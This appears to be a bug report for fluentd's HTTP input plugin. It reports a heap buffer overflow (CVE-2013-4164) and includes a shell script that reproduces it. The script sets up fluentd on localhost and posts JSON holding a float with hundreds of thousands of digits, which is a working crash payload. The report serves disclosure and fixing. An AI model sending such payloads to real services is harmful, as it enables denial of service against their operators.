Heap buffer overflow (CVE-2013-4164) occurs in in_http via the HTTP requests with malicious POST data.

a.sh

# using ruby 2.0.0-p247
rbenv local 2.0.0-p247

# install fluentd
echo 'source "https://rubygems.org"
gem "fluentd"' > Gemfile
bundle install --path=bundle

# create fluent.conf
echo '<source>
  type http
  port 8888
</source>' > fluent.conf

# create post data
echo 'json={"a":12345.'$(ruby -e "puts 12345.to_s * 100000")'}' > data.json

# run fluentd in background
bundle exec fluentd -c fluent.conf &
sleep 10

# post data
curl -XPOST -d@data.json http://localhost:8888